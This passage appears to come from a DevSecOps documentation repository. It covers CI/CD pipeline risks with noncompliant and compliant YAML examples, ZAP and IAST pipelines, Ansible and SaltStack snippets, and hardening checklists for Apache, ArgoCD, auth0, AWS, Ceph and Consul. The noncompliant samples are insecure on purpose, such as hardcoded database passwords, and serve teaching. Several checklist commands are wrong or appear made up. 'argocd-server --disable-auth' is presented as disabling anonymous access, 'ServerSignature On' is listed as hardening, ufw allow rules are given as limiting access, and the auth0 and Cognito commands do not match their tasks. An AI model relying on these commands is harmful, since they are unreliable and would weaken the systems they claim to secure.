build\n      - name: Deploy Application\n        command: |\n          echo \"Deploying application...\"\n          # Deploying the application without proper controls\n          insecure-deploy-tool deploy -f deployment.yaml\n```\n\nTo address the security vulnerabilities in the build and deployment processes, it is essential to implement secure controls and validation measures.\n\n\n\n\n```\n# Compliant: Secure Build and Deployment Processes in pipeline\n\nstages:\n  - name: Build and Deploy\n    steps:\n      - name: Build Application\n        command: |\n          echo \"Building application...\"\n          # Building the application with proper validation\n          secure-build-tool build --validate\n      - name: Deploy Application\n        command: |\n          echo \"Deploying application...\"\n          # Deploying the application with proper controls\n          secure-deploy-tool deploy -f deployment.yaml --verify\n```\n\nIn the compliant code snippet, the build and deployment processes have been enhanced with secure controls and validation. The build process includes proper validation steps to ensure that only valid and authorized code is included in the deployment package. Similarly, the deployment process incorporates controls to verify the integrity and authenticity of the deployed application, preventing unauthorized changes or inclusion of malicious code.\n\n\n\n## Exposed Credentials: \n\nStorage or transmission of sensitive credentials, such as API keys or access tokens, in an insecure manner within the pipeline, making them susceptible to unauthorized access or misuse.\n\nIn the noncompliant code, credentials are hardcoded or exposed in plain text within the pipeline configuration or scripts. This makes them vulnerable to unauthorized access or disclosure, putting the sensitive information at risk.\n\n\n```\n# Noncompliant: Exposed Credentials in pipeline\n\nstages:\n  - name: Build and Deploy\n    steps:\n      - name: Set Environment Variables\n        command: |\n          export DATABASE_USERNAME=admin\n          export DATABASE_PASSWORD=secretpassword\n      - name: Build Application\n        command: |\n          echo \"Building application...\"\n          build-tool --username=$DATABASE_USERNAME --password=$DATABASE_PASSWORD\n      - name: Deploy Application\n        command: |\n          echo \"Deploying application...\"\n          deploy-tool --username=$DATABASE_USERNAME --password=$DATABASE_PASSWORD\n```\n\nTo address the security concern of exposed credentials in the pipeline, it is crucial to adopt secure practices for handling sensitive information.\n\n\n\n```\n# Compliant: Secure Handling of Credentials in pipeline\n\nstages:\n  - name: Build and Deploy\n    steps:\n      - name: Retrieve Credentials from Secure Vault\n        command: |\n          export DATABASE_USERNAME=$(secure-vault read DATABASE_USERNAME)\n          export DATABASE_PASSWORD=$(secure-vault read DATABASE_PASSWORD)\n      - name: Build Application\n        command: |\n          echo \"Building application...\"\n          build-tool --username=$DATABASE_USERNAME --password=$DATABASE_PASSWORD\n      - name: Deploy Application\n        command: |\n          echo \"Deploying application...\"\n          deploy-tool --username=$DATABASE_USERNAME --password=$DATABASE_PASSWORD\n```\n\nIn the compliant code snippet, the sensitive credentials are retrieved securely from a secure vault or secret management system. This ensures that the credentials are not exposed directly in the pipeline configuration or scripts. By using a secure vault, the credentials remain encrypted and are accessed only when needed during the pipeline execution.\n\n\n\n\n## Insufficient Monitoring and Logging: \n\nLack of robust monitoring and logging mechanisms in the pipeline, hindering the detection and response to security incidents or unusual activities.\n\nIn the noncompliant code, there is a lack of proper monitoring and logging practices in the pipeline. This means that important events, errors, or security-related activities are not adequately captured or logged, making it challenging to detect and respond to potential issues or security incidents.\n\n\n\n```\n# Noncompliant: Insufficient Monitoring and Logging in pipeline\n\nstages:\n  - name: Build and Deploy\n    steps:\n      - name: Build Application\n        command: |\n          echo \"Building application...\"\n          build-tool\n      - name: Deploy Application\n        command: |\n          echo \"Deploying application...\"\n          deploy-tool\n```\n\nTo address the insufficient monitoring and logging in the pipeline, it is essential to implement proper logging and monitoring practices.\n\n\n\n```\n# Compliant: Implementing Monitoring and Logging in pipeline\n\nstages:\n  - name: Build and Deploy\n    steps:\n      - name: Build Application\n        command: |\n          echo \"Building application...\"\n          build-tool\n      - name: Deploy Application\n        command: |\n          echo \"Deploying application...\"\n          deploy-tool\n\n  - name: Monitor and Log\n    steps:\n      - name: Send Pipeline Logs to Centralized Logging System\n        command: |\n          echo \"Sending pipeline logs to centralized logging system...\"\n          send-logs --log-file=pipeline.log\n\n      - name: Monitor Pipeline Performance and Health\n        command: |\n          echo \"Monitoring pipeline performance and health...\"\n          monitor-pipeline\n```\n\nIn the compliant code snippet, an additional stage called \"Monitor and Log\" is introduced to handle monitoring and logging activities. This stage includes steps to send pipeline logs to a centralized logging system and monitor the performance and health of the pipeline.\n\nBy sending the pipeline logs to a centralized logging system, you can gather and analyze log data from multiple pipeline runs, enabling better visibility into pipeline activities and potential issues. Monitoring the pipeline's performance and health helps identify any abnormalities or bottlenecks, allowing for proactive remediation.\n\n\n\n## Misconfigured Access Controls: \n\nImproperly configured access controls, permissions, or roles within the pipeline, allowing unauthorized users or malicious actors to gain elevated privileges or access to critical resources.\n\nIn the noncompliant code, there is a lack of proper access controls in the pipeline. This means that unauthorized individuals may have access to sensitive information or critical pipeline components, leading to potential security breaches or unauthorized actions.\n\n\n\n```\n# Noncompliant: Misconfigured Access Controls in pipeline\n\nstages:\n  - name: Build and Deploy\n    steps:\n      - name: Build Application\n        command: |\n          echo \"Building application...\"\n          build-tool\n      - name: Deploy Application\n        command: |\n          echo \"Deploying application...\"\n          deploy-tool\n```\n\nTo mitigate the risk of misconfigured access controls in the pipeline, it is crucial to implement proper access controls and authentication mechanisms.\n\n\n\n```\n# Compliant: Enhanced Access Controls in pipeline\n\nstages:\n  - name: Build and Deploy\n    steps:\n      - name: Build Application\n        command: |\n          echo \"Building application...\"\n          build-tool\n        security:\n          - role: build-deploy\n      - name: Deploy Application\n        command: |\n          echo \"Deploying application...\"\n          deploy-tool\n        security:\n          - role: build-deploy\n```\n\nIn the compliant code, each step in the pipeline has an associated security configuration that specifies the necessary roles or permissions required to execute that step. This ensures that only authorized individuals or entities can perform specific actions in the pipeline.\n\n\n\n\n\n## Insecure Configurations\n\nInadequate or insecure configuration settings within CI/CD tools and platforms.\nExample of attacks: Unauthorized access to build pipelines, exposure of sensitive credentials, misconfigured access controls.\n\n## Vulnerability Management\n\nInadequate or ineffective management of vulnerabilities in CI/CD processes and artifacts.\nExample of attacks: Exploitation of known vulnerabilities in application dependencies, outdated software components.\n\n## Inadequate Secrets Management\n\nPoor handling of sensitive information such as API keys, passwords, and certificates.\nExample of attacks: Disclosure of secrets through repository leaks, unauthorized access to production environments.\n\n## Insecure Third-Party Integrations\n\nIntegration of untrusted or vulnerable third-party services or libraries in CI/CD workflows.\nExample of attacks: Supply chain attacks, malicious code injection through compromised dependencies.\n\n## Weak Access Controls\n\nInsufficient controls and monitoring of access to CI/CD pipelines, repositories, and build systems.\nExample of attacks: Unauthorized modification of build artifacts, privilege escalation, unauthorized access to sensitive data.\n\n## Insider Threats\n\nRisks posed by authorized individuals with malicious intent or accidental actions.\nExample of attacks: Unauthorized modification of CI/CD configurations, sabotage of build pipelines, data exfiltration.\n\n## Lack of Build Integrity\n\nFailure to ensure the integrity and authenticity of build artifacts throughout the CI/CD process.\nExample of attacks: Injection of malicious code or backdoors into build artifacts, tampering with deployment packages.\n\n## Inadequate Testing\n\nInsufficient or ineffective testing of CI/CD pipelines, leading to undetected vulnerabilities.\nExample of attacks: Exploitation of untested code paths, introduction of vulnerable code during the build process.\n\n## Insufficient Monitoring and Logging\n\nLack of real-time monitoring and comprehensive logging for CI/CD activities and events.\nExample of attacks: Difficulty in identifying and responding to security incidents, delayed detection of unauthorized activities.\n\n## Lack of Compliance and Governance\n\nFailure to adhere to security policies, industry regulations, and compliance requirements in CI/CD workflows.\nExample of attacks: Non-compliance with data protection standards, regulatory fines, legal implications.\n\n"
  },
  {
    "path": "docs/build-test/artifacts.md",
    "content": "---\nlayout: default\ntitle: Artifacts\nparent: Build & Test\n---\n\n# Artifacts\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\nArtifacts are typically created during the build and deployment process, and are stored in a repository or other storage location so that they can be easily retrieved and deployed as needed. There are a number of methods that can be used to save artifacts in a DevSecOps environment, including:\n\n1. Build Artifacts: Build artifacts are created during the build process and include compiled code, libraries, and other files that are needed to deploy and run the application. These artifacts can be saved in a repository or other storage location for later use.\n\n2. Container Images: Container images are a type of artifact that contain everything needed to run the application, including the code, runtime, and dependencies. These images can be saved in a container registry or other storage location and can be easily deployed to any environment that supports containers.\n\n3. Infrastructure as Code (IaC) Artifacts: IaC artifacts are created as part of the configuration management process and include scripts, templates, and other files that are used to define and manage the infrastructure of the application. These artifacts can be stored in a repository or other storage location and can be used to deploy the infrastructure to any environment.\n\n4. Test Artifacts: Test artifacts include test scripts, test results, and other files that are created as part of the testing process. These artifacts can be stored in a repository or other storage location for later reference and analysis.\n\n\n\n\n## Checklist for developing an artifact in DevSecOps\n\n\n\n1- Create a secure development environment:\n\n* Set up a development environment that is separate from production.\n* Use version control to track changes to the source code.\n* Use secrets management tools to store sensitive information like API keys and passwords.\n\n2- Implement security testing into the development process:\n\n* Use static analysis security testing (SAST) tools to analyze the source code for vulnerabilities.\n* Use dynamic application security testing (DAST) tools to test the application in a real-world environment.\n* Use interactive application security testing (IAST) tools to detect vulnerabilities in real-time during testing.\n\n3- Automate the build process:\n\nUse build automation tools like Maven or Gradle to compile the source code and build the artifact.\nInclude security testing tools in the build process.\n\n4- Automate deployment:\n\n* Use configuration management tools like Ansible or Chef to automate deployment of the artifact.\n* Use infrastructure-as-code tools like Terraform or CloudFormation to automate the creation and management of infrastructure.\n\n5- Implement continuous integration/continuous delivery (CI/CD) practices:\n\n* Use a CI/CD pipeline to automate the entire development process.\n* Use tools like Jenkins or CircleCI to manage the pipeline and run tests automatically.\n\n\n\n\n## Nexsus\n\n### Define an Artifact\n\n```\nartifact:\n  name: MyVulnerabilityScan\n  type: vulnerability_scan\n  target: target_host\n```\n\n### Schedule Artifact Execution\n\n```\nartifact_schedule:\n  name: DailyVulnerabilityScan\n  artifact: MyVulnerabilityScan\n  schedule: cron(0 0 * * *)\n```\n\n\n### Run Artifact\n\n```\nartifact_run:\n  name: VulnerabilityScan\n  artifact: MyVulnerabilityScan\n```\n\n### Retrieve Artifact Results\n\n```\nartifact_results:\n  name: VulnerabilityScanResults\n  artifact: MyVulnerabilityScan\n```\n\n\n### Remediate Vulnerabilities\n\n```\nartifact_remediation:\n  name: VulnerabilityRemediation\n  artifact: MyVulnerabilityScan\n  remediation_script: remediation_script.sh\n```\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/build-test/build-test.md",
    "content": "---\nlayout: default\ntitle: Build & Test\nnav_order: 4\nhas_children: true\npermalink: docs/build-test\n---\n\n# Build & Test\n{: .no_toc }\n\n{: .fs-6 .fw-300 }\n"
  },
  {
    "path": "docs/build-test/configuration-management.md",
    "content": "---\nlayout: default\ntitle: Configuration Management\nparent: Build & Test\n---\n\n# Configuration Management\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\nConfiguration management is the process of managing and maintaining the configuration of an application or system in a consistent and reliable manner. In a DevSecOps environment, configuration management is an important component of ensuring that applications are secure and reliable. Here are some common tools and practices used in configuration management in DevSecOps:\n\n\n1. Infrastructure as Code (IaC): IaC is a practice that involves writing code to define and manage the infrastructure and configuration of an application or system. This approach provides a more automated and repeatable way of managing configurations, and helps to ensure that the infrastructure is consistent across different environments.\n\n2. Configuration Management Tools: There are a number of configuration management tools that can be used to manage configurations in a DevSecOps environment. Some popular examples include Ansible, Chef, Puppet, and SaltStack.\n\n3. Version Control: Version control systems like Git can be used to manage changes to configurations over time, making it easier to track changes and roll back to previous configurations if necessary.\n\n4. Continuous Integration and Deployment (CI/CD): CI/CD pipelines can be used to automate the deployment and configuration of applications in a DevSecOps environment. This can help to ensure that configurations are consistent and up-to-date across different environments.\n\n5. Security Configuration Management: Security configuration management involves ensuring that the configurations of applications and systems are secure and meet industry standards and best practices. This can include configuring firewalls, encryption, access controls, and other security measures.\n\n\n\nTo achieve this, you can use a configuration management tool like Ansible or Puppet to manage the configuration of the system. Here's a high-level overview of how this might work:\n\n1. Define the configuration: You define the configuration of the system in a configuration file or script. This includes things like the software packages to be installed, the network settings, the user accounts, and any other system settings.\n\n2. Version control: You use version control tools like Git to track changes to the configuration file, and to maintain a history of changes.\n\n3. Continuous integration and deployment: You use a CI/CD pipeline to build and test the application, and to deploy the containers to the different environments. The configuration management tool is integrated into the pipeline, so that any changes to the configuration are automatically applied to the containers as they are deployed.\n\n4. Automation: The configuration management tool automates the process of configuring the system, so that the same configuration is applied consistently across all environments. This reduces the risk of configuration errors and makes it easier to maintain the system.\n\n5. Monitoring and reporting: The configuration management tool provides monitoring and reporting capabilities, so that you can track the status of the system and identify any issues or errors.\n\n\n\n### Ansible \n\n#### Ansible Playbooks\n\nPlaybooks are the heart of Ansible, and define the configuration steps for your infrastructure.\n\n```\n# playbook.yml\n- hosts: web_servers\n  tasks:\n    - name: Install Apache\n      apt:\n        name: apache2\n        state: latest\n    - name: Start Apache\n      service:\n        name: apache2\n        state: started\n```\n\n\n\n\n#### Ansible Variables\n\n\n```\n# playbook.yml\n- hosts: web_servers\n  vars:\n    http_port: 80\n  tasks:\n    - name: Install Apache\n      apt:\n        name: apache2\n        state: latest\n    - name: Configure Apache\n      template:\n        src: apache.conf.j2\n        dest: /etc/apache2/apache.conf\n\n```\n\n\n### Ansible Ad-Hoc Commands\n\n\n```\n$ ansible web_servers -m ping\n$ ansible web_servers -a \"apt update && apt upgrade -y\"\n```\n\n\n### Ansible Vault\n\nVault allows you to encrypt sensitive data, like passwords and API keys.\n\n```\n$ ansible-vault create secrets.yml\n```\n\n```\n# secrets.yml\napi_key: ABCDEFGHIJKLMNOPQRSTUVWXYZ\n```\n\n\n\n### SaltStack\n\n\n\n#### Secure File Management\n\n\nSaltStack provides secure file management through the use of the file.managed state module, which ensures the integrity and security of files on Salt Minions.\n\n```\n/etc/sudoers:\n  file.managed:\n    - source: salt://files/sudoers\n    - user: root\n    - group: root\n    - mode: 440\n    - backup: minion\n```\n\nThis command manages the /etc/sudoers file on Salt Minions, ensuring that it is sourced from the Salt Master (salt://files/sudoers), owned by the root user and group, has the mode set to 440, and creates a backup of the previous file.\n\n\n#### State Management\n\nSaltStack's state management allows you to define and enforce desired system configurations, ensuring consistency and security across Salt Minions.\n\n\n```\napache_package_installed:\n  pkg.installed:\n    - name: apache2\n\napache_service_running:\n  service.running:\n    - name: apache2\n    - enable: True\n```\n\nThis command defines two states: apache_package_installed and apache_service_running. The first state ensures that the apache2 package is installed on the Salt Minion, and the second state ensures that the apache2 service is running and enabled.\n\n\n#### Vulnerability Scanning Integration\n\nSaltStack can be integrated with vulnerability scanning tools to identify and remediate vulnerabilities on Salt Minions.\n\n\n```\nopenvas_scan:\n  salt.modules.openvas.scan:\n    - target: '*'\n    - report_id: 'scan_report'\n    - create_task: True\n```\n\nThis command initiates a vulnerability scan using OpenVAS on all Salt Minions (`target: '*'`). It generates a report with the ID `scan_report` and creates a scan task if it doesn't already exist.\n\n\n\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/build-test/dast.md",
    "content": "---\nlayout: default\ntitle: DAST\nparent: Build & Test\n---\n\n# DAST\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\nDAST stands for Dynamic Application Security Testing. It is a type of application security testing that involves testing an application in a running state to identify security vulnerabilities that may be present.\n\nDAST tools work by interacting with an application in much the same way as a user would, by sending HTTP requests to the application and analyzing the responses that are received. This allows DAST tools to identify vulnerabilities that may be present in the application's logic, configuration, or architecture.\n\nHere are some key features of DAST:\n\n* Realistic testing: DAST provides a more realistic testing environment than SAST because it tests the application in a running state, simulating how an attacker would interact with it.\n\n* Automation: DAST tools can be automated to provide continuous testing, allowing for faster feedback on vulnerabilities.\n\n* Scalability: DAST tools can be scaled to test large and complex applications, making them suitable for enterprise-level testing.\n\n* Coverage: DAST tools can provide coverage for a wide range of security vulnerabilities, including those that may be difficult to detect through other forms of testing.\n\n* Ease of use: DAST tools are typically easy to use and require minimal setup, making them accessible to developers and security teams.\n\n\n\n| DAST Tool    | Description   | \n|:---------------|:---------------------|\n| `OWASP ZAP` | an open-source web application security scanner\t | \n| `Burp Suite` | a web application security testing toolkit\t | \n\n\n\n\n\n\nAssuming we have a web application that we want to test for security vulnerabilities using DAST, we can use OWASP ZAP, an open-source web application security scanner, in our pipeline.\n\n\n1- **First, we need to install OWASP ZAP and configure it with our web application. This can be done by running the following commands in the pipeline:**\n\n```\n- name: Install OWASP ZAP\n  run: |\n    wget https://github.com/zaproxy/zaproxy/releases/download/v2.10.0/ZAP_2.10.0_Core.zip\n    unzip ZAP_2.10.0_Core.zip -d zap\n- name: Start OWASP ZAP\n  run: |\n    zap/zap.sh -daemon -host 127.0.0.1 -port 8080 -config api.disablekey=true\n- name: Configure OWASP ZAP\n  run: |\n    zap/zap-cli.py -p 8080 open-url https://example.com\n\n```\n\n2- **Next, we need to run the security scan using OWASP ZAP. This can be done by running the following command in the pipeline:**\n\n```\n- name: Run OWASP ZAP scan\n  run: |\n    zap/zap-cli.py -p 8080 spider https://example.com\n    zap/zap-cli.py -p 8080 active-scan https://example.com\n\n```\n\nThis will start the OWASP ZAP spider to crawl the web application and then run an active scan to identify security vulnerabilities.\n\n3- **Finally, we need to generate a report of the security scan results. This can be done by running the following command in the pipeline:**\n\n```\n- name: Generate OWASP ZAP report\n  run: |\n    zap/zap-cli.py -p 8080 report -o zap-report.html -f html\n\n```\n\nThis will generate an HTML report of the security scan results that can be reviewed and acted upon.\n\n"
  },
  {
    "path": "docs/build-test/iast.md",
    "content": "---\nlayout: default\ntitle: IAST\nparent: Build & Test\n---\n\n# IAST\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\nIAST stands for Interactive Application Security Testing. It is a type of application security testing that combines the benefits of SAST (Static Application Security Testing) and DAST (Dynamic Application Security Testing) tools.\n\nIAST tools are designed to be integrated into the application being tested, and work by instrumenting the application's code to provide real-time feedback on any security vulnerabilities that are identified during runtime. This allows IAST tools to detect vulnerabilities that may not be visible through other forms of testing, such as those that are introduced by the application's configuration or environment.\n\nHere are some key features of IAST:\n\n1. Real-time feedback: IAST tools provide real-time feedback on security vulnerabilities as they are identified during runtime, allowing developers to fix them as they are found.\n\n2. Accuracy: IAST tools have a high degree of accuracy because they are able to detect vulnerabilities in the context of the application's runtime environment.\n\n3. Low false positive rate: IAST tools have a low false positive rate because they are able to distinguish between actual vulnerabilities and benign code.\n\n4. Integration: IAST tools can be integrated into the development process, allowing developers to incorporate security testing into their workflows.\n\n5. Automation: IAST tools can be automated, allowing for continuous testing and faster feedback on vulnerabilities.\n\n6. Coverage: IAST tools can provide coverage for a wide range of security vulnerabilities, including those that may be difficult to detect through other forms of testing.\n\n\n| IAST Tool    | Description   | \n|:---------------|:---------------------|\n| `Contrast Security` | an IAST tool that automatically identifies and tracks vulnerabilities in real-time during the software development process. It can be integrated into a CI/CD pipeline to provide continuous monitoring and protection.\t | \n| `Hdiv Security` | an IAST solution that detects and prevents attacks by monitoring the runtime behavior of applications. It provides detailed insights into vulnerabilities and generates reports for developers and security teams.\t | \n| `RIPS Technologies` | a security testing tool that combines IAST with SAST (Static Application Security Testing) to provide comprehensive security analysis of web applications. It supports multiple programming languages and frameworks.\t | \n| `Acunetix` | a web application security tool that offers IAST capabilities for detecting vulnerabilities in real-time. It provides detailed reports and integrates with CI/CD pipelines to automate the security testing process.\t | \n| `AppSecEngineer` | an open-source IAST tool for detecting and preventing security vulnerabilities in web applications. It integrates with popular web frameworks such as Spring, Django, and Ruby on Rails, and provides detailed reports of vulnerabilities and attack attempts.\t | \n\n\n\nan example of a CI/CD pipeline with IAST using Contrast Security:\n\n```\nstages:\n  - build\n  - test\n  - iast\n  - deploy\n\nbuild:\n  stage: build\n  script:\n    - mvn clean package\n\ntest:\n  stage: test\n  script:\n    - mvn test\n\niast:\n  stage: iast\n  image: contrastsecurity/contrast-agent\n  script:\n    - java -javaagent:/opt/contrast/contrast.jar -jar target/myapp.jar\n  allow_failure: true\n\ndeploy:\n  stage: deploy\n  script:\n    - mvn deploy\n  only:\n    - master\n```\n\nIn this pipeline, the IAST stage is added after the test stage. The script in the IAST stage starts the Contrast Security agent using the Java command with the `-javaagent` option, and then starts the application using the `jar` command. The agent will monitor the application for security vulnerabilities and provide real-time feedback.\n\nNote that this is just an example pipeline and it can be customized according to your needs. Also, make sure to configure the IAST tool properly and follow best practices for secure development and deployment."
  },
  {
    "path": "docs/build-test/smoke-test.md",
    "content": "---\nlayout: default\ntitle: Smoke Test\nparent: Build & Test\n---\n\n# Smoke Test\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\nSmoke tests are typically conducted on a small subset of the application's functionality, and are designed to be quick and easy to execute. They may include basic checks such as verifying that the application can be launched, that key features are functional, and that data is being processed correctly. If the smoke test passes, the application can be considered ready for further testing.\n\n\nExample commands for performing smoke tests in DevSecOps:\n\n## HTTP requests:\n\n* Use tools like cURL or HTTPie to make HTTP requests to the application's endpoints and verify that they return the expected responses.\n* For example, you might run a command like `curl http://localhost:8080/api/health` to check the health of the application.\n\n\n## Database queries:\n\n* Use SQL queries to verify that the application is correctly reading from and writing to the database.\n* For example, you might run a command like `mysql -u user -p password -e \"SELECT * FROM users WHERE id=1\"` to verify that a user with ID 1 exists in the database.\n\n\n## Scripted tests:\n\n* Use testing frameworks like Selenium or Puppeteer to automate browser-based tests and verify that the application's UI is working correctly.\n* For example, you might create a script using Puppeteer that logs in to the application and verifies that the user profile page is displayed correctly.\n\n\n## Unit tests:\n\n* Use unit testing frameworks like JUnit or NUnit to test individual functions and methods in the application.\n* For example, you might run a command like `mvn test` to run all of the unit tests in a Java application.\n"
  },
  {
    "path": "docs/checklists/apache.md",
    "content": "---\nlayout: default\ntitle: Apache\nparent: Checklists\n---\n\n# Apache Hardening for DevSecOps\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>List of some best practices to harden Apache for DevSecOps\n\n\n### Disable directory listing\t \n\n```\nOptions -Indexes\n```\n\n### Enable server signature \n\n```\nServerSignature On\n``` \n\n### Disable server signature \n\n```\nServerSignature Off\n```\n\n### Change server header \n\n```\nServerTokens Prod\n```\n\n### Disable server header \n\n`ServerTokens Prod` and `ServerSignature Off` \n\n### Enable HTTPS \n\nInstall SSL certificate and configure Apache to use it \n\n### Disable HTTP TRACE method \n\n```\nTraceEnable off\n```\n\n### Set secure HTTP response headers \n\n```\nHeader always set X-XSS-Protection \"1; mode=block\"\nHeader always set X-Content-Type-Options nosniff\nHeader always set X-Frame-Options SAMEORIGIN\nHeader always set Content-Security-Policy \"default-src 'self'\"\n```"
  },
  {
    "path": "docs/checklists/argocd.md",
    "content": "---\nlayout: default\ntitle: ArgoCD\nparent: Checklists\n---\n\n# ArgoCD Hardening for DevSecOps\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>List of some best practices to harden ArgoCD for DevSecOps\n\n\n### Disable anonymous access to the ArgoCD API server\n\n\n```\nargocd-server --disable-auth\n```\n\n\n### Enable HTTPS for ArgoCD server communication\n\n\n\n```\nargocd-server --tls-cert-file /path/to/tls.crt --tls-private-key-file /path/to/tls.key\n```\n\n\n### Use a strong password for ArgoCD administrative users\n\n\n```\nargocd-server --admin-password <password>\n```\n\n\n### Restrict access to ArgoCD API server by IP address\t\n\n\nModify `argocd-server` configuration file to specify `--client-ca-file` and `--auth-mode cert` options and create a certificate authority file and client certificate signed by the CA for each client host.\n\n\n\n### Enable RBAC for fine-grained access control to ArgoCD resources\t\n\n```\nargocd-server --rbac-policy-file /path/to/rbac.yaml\n```\n\n\n\n### Set secure cookie options for ArgoCD web UI\n\n\n```\nargocd-server --secure-cookie\n```\n\n\n\n\n### Use least privilege principle for ArgoCD API access\n\nCreate a dedicated ArgoCD service account with minimal necessary permissions.\n\n\n\n### Regularly update ArgoCD to latest stable version\t\t\n\n\n`argocd version --client` to check client version and `argocd version --server` to check server version. Use package manager or manual upgrade as needed.\n\n\n\n### Regularly audit ArgoCD logs and access control\t\t\n\n\n`argocd-server --loglevel debug` to enable debug level logging. Use a log analyzer or SIEM tool to monitor logs for anomalies.\n\n\n\n### Implement backup and recovery plan for ArgoCD data\t\t\n\n\n`argocd-util export /path/to/export` to export ArgoCD data and configuration. Store backups securely and test restoration procedure periodically.\n\n"
  },
  {
    "path": "docs/checklists/auth0.md",
    "content": "---\nlayout: default\ntitle: auth0\nparent: Checklists\n---\n\n# auth0 Security Checklist for DevSecOps\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>List of some best practices to auth0 for DevSecOps\n\n\n\n\n### Enable Multi-Factor Authentication (MFA) \n\n```\nauth0 rules create --name enable-mfa\n```\n\n\n### Set Strong Password Policies    \n\n```\nauth0 connections update\n```\n\n### Limit Number of Devices                \n\n```\nUse Auth0 Dashboard to set device limits\n```\n\n\n### Enable Anomaly Detection\n\n```\nauth0 anomaly enable\n```\n\n### Regularly Rotate Client Secrets \n\n```\nauth0 clients rotate-secret\n```\n\n### Restrict Allowed Callback URLs\n\n```\nauth0 clients update --callbacks\n```\n\n### Enable Automated Log Monitoring and Alerts  \n\n```\nUse Auth0 Dashboard to configure alerts\n```\n\n\n### Use Role-Based Access Control (RBAC)  \n\n```\nauth0 roles create\n```\n\n"
  },
  {
    "path": "docs/checklists/aws.md",
    "content": "---\nlayout: default\ntitle: AWS\nparent: Checklists\n---\n\n# AWS Security Checklist for DevSecOps\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>List of some best practices to AWS for DevSecOps\n\n\n\n\n### Enable multi-factor authentication (MFA)\n\n```\naws cognito-idp set-user-mfa-preference\n```\n\n\n### Set a strong password policy\n\n```\naws cognito-idp update-user-pool\n```\n\n### Enable advanced security features      \n\n```\naws cognito-idp set-user-pool-policy\n```\n\n\n### Limit the number of devices a user can remember \n\n```\naws cognito-idp set-device-configuration\n```\n\n### Set a session timeout for your user pool    \n\n```\naws cognito-idp update-user-pool-client\n```\n\n### Enable account recovery method \n\n```\naws cognito-idp set-account-recovery\n```\n\n### Monitor and log all sign-in and sign-out events \n\n```\naws cognito-idp create-user-pool-domain\n```\n\n### Restrict access to your user pool only from certain IP ranges\n\n```\naws cognito-idp update-resource-server\n```\n"
  },
  {
    "path": "docs/checklists/ceph.md",
    "content": "---\nlayout: default\ntitle: Ceph\nparent: Checklists\n---\n\n# Ceph Hardening for DevSecOps\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>List of some best practices to harden Ceph for DevSecOps\n\n\n### Update Ceph to the latest version\t \n\n```\nsudo apt-get update && sudo apt-get upgrade ceph -y\n```\n\n### Enable SSL/TLS encryption for Ceph traffic \n\n```\nceph config set global network.ssl true\n```\n\n### Set secure file permissions for Ceph configuration files \n\n```\nsudo chmod 600 /etc/ceph/*\n```\n\n### Limit access to the Ceph dashboard \n\n```\nsudo ufw allow 8443/tcp && sudo ufw allow 8003/tcp && sudo ufw allow 8080/tcp\n```\n\n### Configure Ceph to use firewall rules \n\n```\nsudo ceph config set global security firewall iptables\n```\n\n### Implement network segmentation for Ceph nodes \n\n```\nsudo iptables -A INPUT -s <trusted network> -j ACCEPT\n```\n\n### Configure Ceph to use encrypted OSDs \n\n```\nsudo ceph-osd --mkfs --osd-uuid <osd-uuid> --cluster ceph --osd-data <path to data directory> --osd-journal <path to journal directory> --osd-encrypted\n```\n\n### Use SELinux or AppArmor to restrict Ceph processes \n\n`sudo setenforce 1` (for SELinux) or `sudo aa-enforce /etc/apparmor.d/usr.bin.ceph-osd` (for AppArmor) "
  },
  {
    "path": "docs/checklists/checklists.md",
    "content": "---\nlayout: default\ntitle: Checklists\nnav_order: 10\nhas_children: true\npermalink: docs/checklists\n---\n\n# Checklists\n{: .no_toc }\n\n{: .fs-6 .fw-300 }\n"
  },
  {
    "path": "docs/checklists/consul.md",
    "content": "---\nlayout: default\ntitle: Consul\nparent: Checklists\n---\n\n# Consul Hardening for DevSecOps\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>List of some best practices to harden Consul for DevSecOps\n\n\n### Enable TLS encryption for Consul communication\t\n\n\n```\nconsul agent -config-dir=/etc/consul.d -encrypt=<encryption-key> -ca-file=/path/to/ca.crt -cert-file=/path/to/consul.crt -key-file=/path/to/consul.key\n```\n\n\n### Restrict access to Consul API\n\n\n\n```\nconsul acl bootstrap; consul acl policy create -name \"secure-policy\" -rules @secure-policy.hcl; consul acl token create -description \"secure-token\" -policy-name \"secure-policy\" -secret <secure-token>\n```\n\n\n### Limit the resources allocated to Consul service\t\n\n\n`systemctl edit consul.service` and add `CPUQuota=50%` and `MemoryLimit=512M`\n\n\n### Disable unnecessary HTTP APIs\n\n\n```\nconsul agent -disable-http-apis=stats\n```\n\n\n### Enable and configure audit logging\n\n```\nconsul agent -config-dir=/etc/consul.d -audit-log-path=/var/log/consul_audit.log\n```\n\n\n\n### Enable and configure health checks\n\n\n```\nconsul agent -config-dir=/etc/consul.d -enable-script-checks=true -script-check-interval=10s -script-check-timeout=5s -script-check-id=<check-id> -script-check=<check-command>\n```\n\n\n\n\n### Enable rate limiting to prevent 